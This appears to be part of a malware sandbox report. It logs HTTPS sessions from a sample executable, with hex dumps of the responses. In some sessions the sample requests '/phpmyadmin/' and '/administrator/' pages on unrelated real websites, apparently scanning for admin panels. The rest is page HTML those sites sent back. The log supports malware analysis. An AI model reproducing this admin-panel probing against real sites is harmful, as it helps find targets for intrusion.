2023-11-26 05:59:33 UTC	836	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMT
2023-11-26 05:59:33 UTC	533	IN	Data Raw: 37 63 36 62 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 0a 09 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6e 63 6f 72 64 20 4c 65 61 72 6e 69 6e 67 20 41 63 61 64 65 6d 79 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 6f 72 64 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 48 61 6e 64 68 65 6c 64 46 72 69 65 6e 64 6c 79 22 20 63 6f 6e 74 65 6e 74 3d 22 54 72 75 65 22 3e 0a Data Ascii: 7c6b<!DOCTYPE html><html lang="en-US"><head><meta charset="utf-8"><meta name="author" content="Concord Learning Academy"><link rel="pingback" href="https://kidsrkids.com/concord/xmlrpc.php"><meta name="HandheldFriendly" content="True">
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 6e 20 69 73 5f 62 72 6f 77 73 65 72 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 43 68 72 6f 6d 65 22 29 20 21 3d 3d 20 2d 20 31 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 4f 70 65 72 61 22 29 20 21 3d 3d 20 2d 20 31 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 46 69 72 65 66 6f 78 22 29 20 21 3d 3d 20 2d 20 31 20 7c 7c 0a 20 20 20 20 20 20 Data Ascii: n is_browser() { return ( navigator.userAgent.indexOf("Chrome") !== - 1 \|\| navigator.userAgent.indexOf("Opera") !== - 1 \|\| navigator.userAgent.indexOf("Firefox") !== - 1 \|\|
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 09 74 72 69 67 67 65 72 3a 20 66 75 6e 63 74 69 6f 6e 20 28 20 65 76 65 6e 74 5f 74 79 70 65 2c 20 65 76 65 6e 74 5f 64 61 74 61 2c 20 65 6c 20 29 20 7b 0a 09 09 09 09 09 09 76 61 72 20 65 76 65 6e 74 3b 0a 09 09 09 09 09 09 74 72 79 20 7b 0a 09 09 09 09 09 09 09 65 76 65 6e 74 20 3d 20 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 20 65 76 65 6e 74 5f 74 79 70 65 2c 20 7b 20 64 65 74 61 69 6c 3a 20 65 76 65 6e 74 5f 64 61 74 61 20 7d 20 29 3b 0a 09 09 09 09 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 0a 09 09 09 09 09 09 09 65 76 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 20 27 43 75 73 74 6f 6d 45 76 65 6e 74 27 20 29 3b 0a 09 09 09 09 09 09 09 65 76 65 6e 74 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 Data Ascii: trigger: function ( event_type, event_data, el ) {var event;try {event = new CustomEvent( event_type, { detail: event_data } );} catch ( e ) {event = document.createEvent( 'CustomEvent' );event.initCustomEvent
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 34 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 20 43 6f 6e 63 6f 72 64 20 4c 65 61 72 6e 69 6e 67 20 41 63 61 64 65 6d 79 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 Data Ascii: ollow' />... This site is optimized with the Yoast SEO plugin v21.4 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - Concord Learning Academy</title><meta property="og:locale" content="en_US" /><meta property="og:title" cont
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 61 73 3d 22 66 6f 6e 74 22 20 74 79 70 65 3d 22 66 6f 6e 74 2f 77 6f 66 66 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 2f 3e 0d 0a 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 61 63 65 62 6f 6f 6b 2d 64 6f 6d 61 69 6e 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 70 77 31 76 6b 77 6f 36 7a 7a 6d 68 32 69 76 30 6f 6d 6e 6c 7a 35 61 61 64 74 71 6b 34 39 22 20 2f 3e 0d 0a 3c 21 2d 2d 20 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 20 43 6f 64 65 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 66 2c 62 2c 65 2c 76 2c 6e 2c 74 2c 73 29 0d 0a 7b 69 66 28 66 2e 66 62 71 29 72 65 74 75 72 6e 3b 6e 3d 66 2e 66 62 71 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 63 61 6c 6c 4d 65 74 68 6f 64 3f 6e 2e 63 61 6c 6c 4d 65 Data Ascii: as="font" type="font/woff2" crossorigin/><meta name="facebook-domain-verification" content="pw1vkwo6zzmh2iv0omnlz5aadtqk49" />... Facebook Pixel Code --><script>!function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?n.callMe
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c 21 3d 27 64 61 74 61 4c 61 79 65 72 27 3f 27 26 6c 3d 27 2b 6c 3a 27 27 3b 6a 2e 61 73 79 6e 63 3d 74 72 75 65 3b 6a 2e 73 72 63 3d 0d 0a 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 6d 2e 6a 73 3f 69 64 Data Ascii: cript>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 34 30 34 22 3e 0a 0a 3c 61 20 68 72 65 66 3d 22 23 61 31 31 79 2d 73 6b 69 70 2d 6c 69 6e 6b 2d 63 6f 6e 74 65 6e 74 22 20 63 6c 61 73 73 3d 22 61 31 31 79 2d 73 6b 69 70 2d 6c 69 6e 6b 20 61 31 31 79 2d 76 69 73 75 61 6c 2d 68 69 64 65 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 0a 3c 64 69 76 20 63 6c Data Ascii: cation-TileImage" content=""><meta name="msapplication-TileColor" content=""><meta name="theme-color" content=""></head><body class="error404"><a href="#a11y-skip-link-content" class="a11y-skip-link a11y-visual-hide">Skip to main content</a><div cl
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 09 09 09 09 3c 2f 6f 6c 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 3c 2f 6e 61 76 3e 0a 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 6c 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 77 69 64 65 20 73 69 74 65 2d 68 65 61 64 65 72 5f 5f 6f 75 74 65 72 22 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 5f 5f 69 6e 6e 65 72 22 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 22 20 64 61 74 61 2d 6a 73 3d 22 6c 6f 67 6f 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 6f 72 64 22 20 20 72 65 6c 3d 22 68 6f 6d 65 22 3e 43 6f 6e 63 6f 72 64 20 4c 65 61 72 6e 69 6e 67 20 41 63 61 64 65 6d 79 3c 2f 61 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d Data Ascii: </ol></div></nav><div class="l-container l-container--wide site-header__outer"><div class="site-header__inner"><div class="logo" data-js="logo"><a href="https://kidsrkids.com/concord" rel="home">Concord Learning Academy</a><span class=
2023-11-26 05:59:33 UTC	1369	IN	Data Raw: 6c 3d 22 53 63 68 6f 6f 6c 20 49 6e 66 6f 22 20 64 61 74 61 2d 65 78 70 61 6e 64 3d 22 32 30 30 22 20 20 20 64 61 74 61 2d 73 69 7a 65 73 3d 22 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 36 30 70 78 29 20 31 32 36 30 70 78 2c 20 31 30 30 76 77 22 20 64 61 74 61 2d 62 67 73 65 74 3d 22 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 6f 72 64 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 73 69 74 65 73 2f 32 2f 32 30 31 38 2f 31 30 2f 53 63 68 6f 6f 6c 5f 41 67 65 5f 54 72 61 6e 73 70 6f 72 74 61 74 69 6f 6e 5f 62 75 73 2d 65 31 35 38 39 38 36 36 37 39 37 38 33 33 2d 36 30 30 78 33 37 35 2e 6a 70 67 20 36 30 30 77 20 33 37 35 68 2c 20 0a 68 74 74 70 73 3a 2f 2f 6b 69 64 73 72 6b 69 64 73 2e 63 6f 6d 2f 63 6f 6e 63 Data Ascii: l="School Info" data-expand="200" data-sizes="(min-width: 1260px) 1260px, 100vw" data-bgset="https://kidsrkids.com/concord/wp-content/uploads/sites/2/2018/10/School_Age_Transportation_bus-e1589866797833-600x375.jpg 600w 375h, https://kidsrkids.com/conc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	57541	67.205.16.72	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	173	OUT	GET /phpmyadmin/ HTTP/1.1 Host: capforge.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	512	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 62 69 64 3d 62 65 30 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:33 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://capforge.com/wp-json/>; rel="https://api.w.org/"Set-Cookie: pbid=be0
2023-11-26 05:59:33 UTC	6	IN	Data Raw: 64 35 33 62 0d 0a Data Ascii: d53b
2023-11-26 05:59:33 UTC	7800	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 69 74 65 6d 73 63 6f 70 65 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e Data Ascii: <!doctype html><html dir="ltr" lang="en-US" prefix="og: https://ogp.me/ns#" class="no-js" itemtype="https://schema.org/WebPage" itemscope><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1"><lin
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 2f 22 7d 2c 22 73 6f 63 69 61 6c 22 3a 7b 22 74 77 69 74 74 65 72 22 3a 22 6f 70 74 69 6d 69 7a 65 70 72 65 73 73 22 2c 22 66 61 63 65 62 6f 6f 6b 22 3a 22 6f 70 74 69 6d 69 7a 65 70 72 65 73 73 22 2c 22 67 6f 6f 67 6c 65 70 6c 75 73 22 3a 22 31 31 31 32 37 33 34 34 34 37 33 33 37 38 37 33 34 39 39 37 31 22 7d 2c 22 66 6c 6f 77 70 6c 61 79 65 72 48 54 4d 4c 35 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 5c 2f 77 70 2d 63 6f 6e 74 65 6e 74 5c 2f 70 6c 75 67 69 6e 73 5c 2f 6f 70 74 69 6d 69 7a 65 50 72 65 73 73 50 6c 75 67 69 6e 5c 2f 6c 69 62 5c 2f 6d 6f 64 75 6c 65 73 5c 2f 62 6c 6f 67 5c 2f 76 69 64 65 6f 5c 2f 66 6c 6f 77 70 6c 61 79 65 72 5c 2f 66 6c 6f 77 70 6c 61 79 65 72 2e 73 77 66 22 2c 22 66 6c 6f 77 70 6c 61 79 65 Data Ascii: /"},"social":{"twitter":"optimizepress","facebook":"optimizepress","googleplus":"111273444733787349971"},"flowplayerHTML5":"https:\/\/capforge.com\/wp-content\/plugins\/optimizePressPlugin\/lib\/modules\/blog\/video\/flowplayer\/flowplayer.swf","flowplaye
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 65 6d 65 6e 74 6f 72 2d 64 65 66 61 75 6c 74 20 65 6c 65 6d 65 6e 74 6f 72 2d 6b 69 74 2d 32 31 31 38 22 3e 3c 64 69 76 20 69 64 3d 22 77 72 61 70 70 65 72 22 20 63 6c 61 73 73 3d 22 73 69 74 65 20 77 70 2d 73 69 74 65 2d 62 6c 6f 63 6b 73 22 3e 20 3c 61 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6c 69 6e 6b 20 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 74 65 78 74 20 73 63 72 6f 6c 6c 2d 69 67 6e 6f 72 65 22 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 22 20 72 6f 6c 65 3d 22 62 61 6e 6e 65 72 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 Data Ascii: ementor-default elementor-kit-2118"><div id="wrapper" class="site wp-site-blocks"> <a class="skip-link screen-reader-text scroll-ignore" href="#main">Skip to content</a><header id="masthead" class="site-header" role="banner" itemtype="https://schema.org/W
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 65 6e 75 2d 69 74 65 6d 2d 37 31 33 33 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 79 2f 64 65 6e 74 61 6c 2d 70 72 61 63 74 69 63 65 2d 74 69 70 73 2f 22 3e 44 65 6e 74 61 6c 20 50 72 61 63 74 69 63 65 20 54 69 70 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 37 31 33 34 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 74 61 78 6f 6e 6f 6d 79 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 61 74 65 67 6f 72 79 20 6d 65 6e 75 2d 69 74 65 6d 2d 37 31 33 34 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 63 61 74 65 67 6f 72 79 2f 69 6e 73 Data Ascii: enu-item-7133"><a href="https://capforge.com/category/dental-practice-tips/">Dental Practice Tips</a></li><li id="menu-item-7134" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-7134"><a href="https://capforge.com/category/ins
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 37 2d 30 2e 32 31 39 2d 31 2e 34 30 36 2d 30 2e 35 39 34 6c 2d 35 2e 33 35 39 2d 35 2e 33 34 34 63 2d 31 2e 38 32 38 20 31 2e 32 36 36 2d 34 2e 30 31 36 20 31 2e 39 33 37 2d 36 2e 32 33 34 20 31 2e 39 33 37 2d 36 2e 30 37 38 20 30 2d 31 31 2d 34 2e 39 32 32 2d 31 31 2d 31 31 73 34 2e 39 32 32 2d 31 31 20 31 31 2d 31 31 20 31 31 20 34 2e 39 32 32 20 31 31 20 31 31 63 30 20 32 2e 32 31 39 2d 30 2e 36 37 32 20 34 2e 34 30 36 2d 31 2e 39 33 37 20 36 2e 32 33 34 6c 35 2e 33 35 39 20 35 2e 33 35 39 63 30 2e 33 35 39 20 30 2e 33 35 39 20 30 2e 35 37 38 20 30 2e 38 37 35 20 30 2e 35 37 38 20 31 2e 34 30 36 7a 22 3e 3c 2f 70 61 74 68 3e 20 3c 2f 73 76 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 73 65 Data Ascii: 7-0.219-1.406-0.594l-5.359-5.344c-1.828 1.266-4.016 1.937-6.234 1.937-6.078 0-11-4.922-11-11s4.922-11 11-11 11 4.922 11 11c0 2.219-0.672 4.406-1.937 6.234l5.359 5.359c0.359 0.359 0.578 0.875 0.578 1.406z"></path> </svg></span></div></form></div></div></se
2023-11-26 05:59:34 UTC	8192	IN	Data Raw: 74 65 2d 68 65 61 64 65 72 2d 69 74 65 6d 2d 6d 6f 62 69 6c 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 6d 6f 62 69 6c 65 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 6c 61 79 6f 75 74 2d 73 74 72 65 74 63 68 2d 66 61 6c 73 65 22 20 64 61 74 61 2d 73 65 63 74 69 6f 6e 3d 22 6b 61 64 65 6e 63 65 5f 63 75 73 74 6f 6d 69 7a 65 72 5f 6d 6f 62 69 6c 65 5f 6e 61 76 69 67 61 74 69 6f 6e 22 3e 3c 6e 61 76 20 69 64 3d 22 6d 6f 62 69 6c 65 2d 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 22 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 64 72 61 77 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 20 64 72 61 77 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 70 61 72 65 6e 74 2d 74 6f 67 67 6c 65 2d 74 72 75 65 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e Data Ascii: te-header-item-mobile-navigation mobile-navigation-layout-stretch-false" data-section="kadence_customizer_mobile_navigation"><nav id="mobile-site-navigation" class="mobile-navigation drawer-navigation drawer-navigation-parent-toggle-true" role="navigation
2023-11-26 05:59:34 UTC	5824	IN	Data Raw: 76 65 72 74 6b 69 74 5f 62 72 6f 61 64 63 61 73 74 73 5f 72 65 6e 64 65 72 22 2c 22 64 65 62 75 67 22 3a 22 22 7d 3b 3c 2f 73 63 72 69 70 74 3e 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 76 65 72 74 6b 69 74 2f 72 65 73 6f 75 72 63 65 73 2f 66 72 6f 6e 74 65 6e 64 2f 6a 73 2f 62 72 6f 61 64 63 61 73 74 73 2e 6a 73 3f 76 65 72 3d 32 2e 33 2e 37 22 20 69 64 3d 22 63 6f 6e 76 65 72 74 6b 69 74 2d 62 72 6f 61 64 63 61 73 74 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 61 70 66 6f 72 67 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f Data Ascii: vertkit_broadcasts_render","debug":""};</script> <script src="https://capforge.com/wp-content/plugins/convertkit/resources/frontend/js/broadcasts.js?ver=2.3.7" id="convertkit-broadcasts-js"></script> <script src="https://capforge.com/wp-content/plugins/co
2023-11-26 05:59:34 UTC	3	IN	Data Raw: 6d 6c 3e Data Ascii: ml>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	56805	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:33 UTC	183	OUT	GET /administrator/ HTTP/1.1 Host: rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:33 UTC	209	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 61 67 72 69 63 6f 6c 61 2e 63 6f 6d 2e 62 72 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:33 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rechagricola.com.br/administrator/
